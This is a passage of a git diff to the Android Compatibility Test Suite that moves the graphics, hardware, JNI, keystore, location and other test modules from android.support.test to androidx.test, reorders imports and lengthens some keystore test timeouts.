import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
index 4e5fb15..29afaaf 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
@@ -22,11 +22,12 @@
import android.graphics.BitmapFactory;
import android.graphics.Rect;
import android.graphics.cts.R;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
import android.view.PixelCopy;
import android.widget.ImageView;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+
import com.android.compatibility.common.util.SynchronousPixelCopy;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java
index defa8c6..03ddf84 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java
@@ -22,8 +22,9 @@
import android.content.res.Resources;
import android.graphics.cts.R;
import android.graphics.drawable.VectorDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
index 76b6e2c..30cd060 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
@@ -33,22 +33,20 @@
import android.graphics.cts.R;
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.VectorDrawable;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
-import android.util.Log;
import android.util.Xml;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
-import java.io.File;
-import java.io.FileOutputStream;
import java.io.IOException;
@SmallTest
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
index d96aabb..f5984e3 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
@@ -27,8 +27,9 @@
import android.graphics.Paint;
import android.graphics.Paint.Style;
import android.graphics.drawable.shapes.ArcShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
index a83251e..031cf80 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
@@ -29,8 +29,9 @@
import android.graphics.Paint.Style;
import android.graphics.Rect;
import android.graphics.drawable.shapes.OvalShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
index b7335e3..e890108 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
@@ -28,8 +28,9 @@
import android.graphics.Paint.Style;
import android.graphics.Path;
import android.graphics.drawable.shapes.PathShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
index 4cd6e15..7162f6d 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
@@ -30,8 +30,9 @@
import android.graphics.Rect;
import android.graphics.RectF;
import android.graphics.drawable.shapes.RectShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
index 0db0f5d..44cae7b 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
@@ -30,8 +30,9 @@
import android.graphics.Rect;
import android.graphics.RectF;
import android.graphics.drawable.shapes.RoundRectShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
index d5d16c3..23fac8b 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
@@ -28,8 +28,9 @@
import android.graphics.Paint;
import android.graphics.Paint.Style;
import android.graphics.drawable.shapes.Shape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 4e8aaa7..2fdd4a7 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -29,9 +29,9 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
mockito-target-minus-junit4 \
platform-test-annotations \
ub-uiautomator
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 7a98a2a..7ce0cbe 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -80,7 +80,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.hardware.cts"
android:label="CTS hardware tests">
<meta-data android:name="listener"
diff --git a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
index 74e6857..41c0735 100644
--- a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
@@ -19,10 +19,10 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import android.graphics.PixelFormat;
import android.hardware.HardwareBuffer;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index 82756d1..a9ddfc7 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -20,7 +20,6 @@
import static android.content.res.Configuration.SCREENLAYOUT_SIZE_NORMAL;
import static android.content.res.Configuration.SCREENLAYOUT_SIZE_SMALL;
import static android.content.res.Configuration.SCREENLAYOUT_SIZE_XLARGE;
-
import static android.util.DisplayMetrics.DENSITY_400;
import static android.util.DisplayMetrics.DENSITY_560;
import static android.util.DisplayMetrics.DENSITY_HIGH;
@@ -29,8 +28,8 @@
import static android.util.DisplayMetrics.DENSITY_TV;
import static android.util.DisplayMetrics.DENSITY_XHIGH;
-import static org.junit.Assert.assertTrue;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
import android.app.ActivityManager;
import android.content.Context;
@@ -38,17 +37,18 @@
import android.content.res.Configuration;
import android.os.Build;
import android.os.StatFs;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
import android.util.DisplayMetrics;
-import android.view.WindowManager;
import android.util.Log;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.CddTest;
-import org.junit.runner.RunWith;
import org.junit.Before;
import org.junit.Test;
+import org.junit.runner.RunWith;
import java.io.File;
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
index e44bcb4..416ee4d 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
@@ -15,15 +15,15 @@
*/
package android.hardware.input.cts.tests;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import android.hardware.cts.R;
import android.view.KeyEvent;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import android.hardware.cts.R;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class GamepadTestCase extends InputTestCase {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 9089529..3192de6 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -25,20 +25,11 @@
import android.hardware.input.cts.InputCtsActivity;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
import android.view.KeyEvent;
import android.view.MotionEvent;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
import libcore.io.IoUtils;
@@ -46,6 +37,15 @@
import org.junit.Before;
import org.junit.Rule;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
public class InputTestCase {
// hid executable expects "-" argument to read from stdin instead of a file
private static final String HID_COMMAND = "hid -";
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 47b467e..204d97f 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -30,7 +30,7 @@
# The aim of this package is to run tests against the implementation in use by
# the current android system.
LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner \
+ cts-core-test-runner-axt \
android-icu4j-tests
# Tag this module as a cts test artifact
diff --git a/tests/tests/icu/AndroidManifest.xml b/tests/tests/icu/AndroidManifest.xml
index 1dc0a70..418c215 100644
--- a/tests/tests/icu/AndroidManifest.xml
+++ b/tests/tests/icu/AndroidManifest.xml
@@ -22,7 +22,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.icu.cts"
android:label="CTS Repackaged ICU4J library tests."/>
</manifest>
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index f0ebe63..916f55e 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -30,7 +30,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JNI_SHARED_LIBRARIES := \
libjni_test_dlclose \
diff --git a/tests/tests/jni/AndroidManifest.xml b/tests/tests/jni/AndroidManifest.xml
index 2724573..a3f71fa 100644
--- a/tests/tests/jni/AndroidManifest.xml
+++ b/tests/tests/jni/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.jni.cts"
android:label="CTS tests of calling native code via JNI">
<meta-data android:name="listener"
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 1bc5f8c..2492b48 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -16,6 +16,14 @@
package android.jni.cts;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+
+import androidx.test.InstrumentationRegistry;
+
+import dalvik.system.PathClassLoader;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
@@ -29,12 +37,6 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.support.test.InstrumentationRegistry;
-import dalvik.system.PathClassLoader;
-
class LinkerNamespacesHelper {
private final static String PUBLIC_CONFIG_DIR = "/system/etc/";
private final static String PRODUCT_CONFIG_DIR = "/product/etc/";
diff --git a/tests/tests/jni_vendor/Android.mk b/tests/tests/jni_vendor/Android.mk
index ba06b42..6b9bfb3 100644
--- a/tests/tests/jni_vendor/Android.mk
+++ b/tests/tests/jni_vendor/Android.mk
@@ -27,7 +27,7 @@
# When built, explicitly put it in the vendor partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_VENDOR_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ctstestrunner-axt
LOCAL_JNI_SHARED_LIBRARIES := libvendorjnitest
diff --git a/tests/tests/jni_vendor/AndroidManifest.xml b/tests/tests/jni_vendor/AndroidManifest.xml
index 363a151..96a1c9e 100644
--- a/tests/tests/jni_vendor/AndroidManifest.xml
+++ b/tests/tests/jni_vendor/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.jni.vendor.cts"
android:label="CTS tests of calling native code via Vendor's JNI">
<meta-data android:name="listener"
diff --git a/tests/tests/jvmti/attaching/Android.mk b/tests/tests/jvmti/attaching/Android.mk
index 56169d4..fb2a765 100644
--- a/tests/tests/jvmti/attaching/Android.mk
+++ b/tests/tests/jvmti/attaching/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_MULTILIB := both
LOCAL_JNI_SHARED_LIBRARIES := libjvmtiattachingtestagent1 \
diff --git a/tests/tests/jvmti/attaching/AndroidManifest.xml b/tests/tests/jvmti/attaching/AndroidManifest.xml
index 16acb14..9e61bcd 100644
--- a/tests/tests/jvmti/attaching/AndroidManifest.xml
+++ b/tests/tests/jvmti/attaching/AndroidManifest.xml
@@ -22,7 +22,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.jmvti.attaching.cts"
android:label="CTS tests for attaching jvmti agents from inside the app">
<meta-data android:name="listener"
diff --git a/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java b/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
index 994681f..1d8c2de 100644
--- a/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
+++ b/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
@@ -19,17 +19,16 @@
import static org.junit.Assert.assertTrue;
import android.os.Debug;
-import android.support.test.runner.AndroidJUnit4;
import dalvik.system.BaseDexClassLoader;
import org.junit.AfterClass;
import org.junit.FixMethodOrder;
import org.junit.Test;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameters;
import org.junit.runner.RunWith;
import org.junit.runners.MethodSorters;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
import java.io.File;
import java.io.FileInputStream;
@@ -37,12 +36,11 @@
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
-import java.util.concurrent.Callable;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashSet;
-import java.util.List;
import java.util.Set;
+import java.util.concurrent.Callable;
@RunWith(Parameterized.class)
@FixMethodOrder(MethodSorters.NAME_ASCENDING)
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index a7d84d6..c4e796c 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -26,10 +26,10 @@
LOCAL_JAVA_LIBRARIES := bouncycastle
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
core-tests-support \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt hamcrest-library \
guava \
junit \
cts-security-test-support-library \
diff --git a/tests/tests/keystore/AndroidManifest.xml b/tests/tests/keystore/AndroidManifest.xml
index 1816f2e..34f7985 100644
--- a/tests/tests/keystore/AndroidManifest.xml
+++ b/tests/tests/keystore/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.keystore.cts"
android:label="CTS tests of android.keystore.cts">
<meta-data android:name="listener"
diff --git a/tests/tests/keystore/AndroidTest.xml b/tests/tests/keystore/AndroidTest.xml
index e2b4986..40beae6 100644
--- a/tests/tests/keystore/AndroidTest.xml
+++ b/tests/tests/keystore/AndroidTest.xml
@@ -23,7 +23,7 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.keystore.cts" />
<option name="runtime-hint" value="16m39s" />
- <!-- test-timeout unit is ms, value = 10 min -->
- <option name="test-timeout" value="600000" />
+ <!-- test-timeout unit is ms, value = 50 min -->
+ <option name="test-timeout" value="3000000" />
</test>
</configuration>
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 4bd6965..79f87e0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -1998,8 +1998,8 @@
private static final int MIN_SUPPORTED_KEY_COUNT = 1500;
private static final long MINUTE_IN_MILLIS = 1000 * 60;
- private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS = 2 * MINUTE_IN_MILLIS;
- private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS = 3 * MINUTE_IN_MILLIS;
+ private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS = 4 * MINUTE_IN_MILLIS;
+ private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS = 6 * MINUTE_IN_MILLIS;
private static boolean isDeadlineReached(long startTimeMillis, long durationMillis) {
long nowMillis = System.currentTimeMillis();
diff --git a/tests/tests/keystore/src/android/server/am/ActivityManagerState.java b/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
index 0ff8e40..b9507c6 100644
--- a/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
+++ b/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
@@ -26,7 +26,8 @@
import android.graphics.Rect;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import com.android.server.am.nano.ActivityDisplayProto;
import com.android.server.am.nano.ActivityManagerServiceDumpActivitiesProto;
diff --git a/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java b/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
index b960d2f..52c07fa 100644
--- a/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
@@ -38,7 +38,8 @@
import android.content.ComponentName;
import android.content.Context;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/tests/keystore/src/android/server/am/UiDeviceUtils.java b/tests/tests/keystore/src/android/server/am/UiDeviceUtils.java
index 0bf39f1..aab6ab8 100644
--- a/tests/tests/keystore/src/android/server/am/UiDeviceUtils.java
+++ b/tests/tests/keystore/src/android/server/am/UiDeviceUtils.java
@@ -17,23 +17,24 @@
package android.server.am;
import static android.server.am.StateLogger.logE;
-import static android.support.test.InstrumentationRegistry.getContext;
import static android.view.KeyEvent.KEYCODE_APP_SWITCH;
import static android.view.KeyEvent.KEYCODE_MENU;
import static android.view.KeyEvent.KEYCODE_SLEEP;
import static android.view.KeyEvent.KEYCODE_WAKEUP;
-import static android.view.KeyEvent.KEYCODE_WINDOW;
+
+import static androidx.test.InstrumentationRegistry.getContext;
import android.app.KeyguardManager;
import android.graphics.Point;
import android.os.PowerManager;
import android.os.RemoteException;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
import android.view.KeyEvent;
+import androidx.test.InstrumentationRegistry;
+
import java.util.function.BooleanSupplier;
/**
diff --git a/tests/tests/keystore/src/android/server/am/WindowManagerState.java b/tests/tests/keystore/src/android/server/am/WindowManagerState.java
index ae6e547..3cd1f57 100644
--- a/tests/tests/keystore/src/android/server/am/WindowManagerState.java
+++ b/tests/tests/keystore/src/android/server/am/WindowManagerState.java
@@ -16,7 +16,6 @@
package android.server.am;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.server.am.ProtoExtractors.extract;
@@ -24,19 +23,17 @@
import static android.server.am.StateLogger.logE;
import static android.view.Display.DEFAULT_DISPLAY;
-import static org.junit.Assert.fail;
-
import android.content.res.Configuration;
import android.graphics.Rect;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
import android.view.nano.DisplayInfoProto;
+import androidx.test.InstrumentationRegistry;
+
import com.android.server.wm.nano.AppTransitionProto;
import com.android.server.wm.nano.AppWindowTokenProto;
import com.android.server.wm.nano.ConfigurationContainerProto;
-import com.android.server.wm.nano.DisplayFramesProto;
import com.android.server.wm.nano.DisplayProto;
import com.android.server.wm.nano.IdentifierProto;
import com.android.server.wm.nano.PinnedStackControllerProto;
diff --git a/tests/tests/libcorefileio/Android.mk b/tests/tests/libcorefileio/Android.mk
index c56a3b7..9af3751 100644
--- a/tests/tests/libcorefileio/Android.mk
+++ b/tests/tests/libcorefileio/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/libcorefileio/AndroidManifest.xml b/tests/tests/libcorefileio/AndroidManifest.xml
index 411aa9d..1271089 100644
--- a/tests/tests/libcorefileio/AndroidManifest.xml
+++ b/tests/tests/libcorefileio/AndroidManifest.xml
@@ -36,7 +36,7 @@
</receiver>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcorefileio.cts">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener"/>
diff --git a/tests/tests/libcorelegacy22/Android.mk b/tests/tests/libcorelegacy22/Android.mk
index d2468c3..0295b89 100644
--- a/tests/tests/libcorelegacy22/Android.mk
+++ b/tests/tests/libcorelegacy22/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/libcorelegacy22/AndroidManifest.xml b/tests/tests/libcorelegacy22/AndroidManifest.xml
index 131613e..98478e4 100644
--- a/tests/tests/libcorelegacy22/AndroidManifest.xml
+++ b/tests/tests/libcorelegacy22/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcorelegacy22.cts"
android:label="CTS tests of android APIs last available in API 22">
<meta-data android:name="listener"
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 8297a75..6d88a4d 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -29,7 +29,7 @@
LOCAL_JAVA_LIBRARIES := telephony-common android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util ctstestrunner apache-commons-math platform-test-annotations
+ compatibility-device-util-axt ctstestrunner-axt apache-commons-math platform-test-annotations
LOCAL_SRC_FILES := $(call all-java-files-under, src/android/location/cts) \
$(call all-proto-files-under, protos)
@@ -52,7 +52,7 @@
LOCAL_JAVA_LIBRARIES := telephony-common android.test.base.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner apache-commons-math
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt apache-commons-math
LOCAL_PROTOC_OPTIMIZE_TYPE := nano
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
index 1b85f8f..551de06 100644
--- a/tests/tests/location/AndroidManifest.xml
+++ b/tests/tests/location/AndroidManifest.xml
@@ -38,7 +38,7 @@
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.location.cts"
android:label="CTS tests of android.location">
<meta-data android:name="listener"
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index d58ebb6..0366158 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
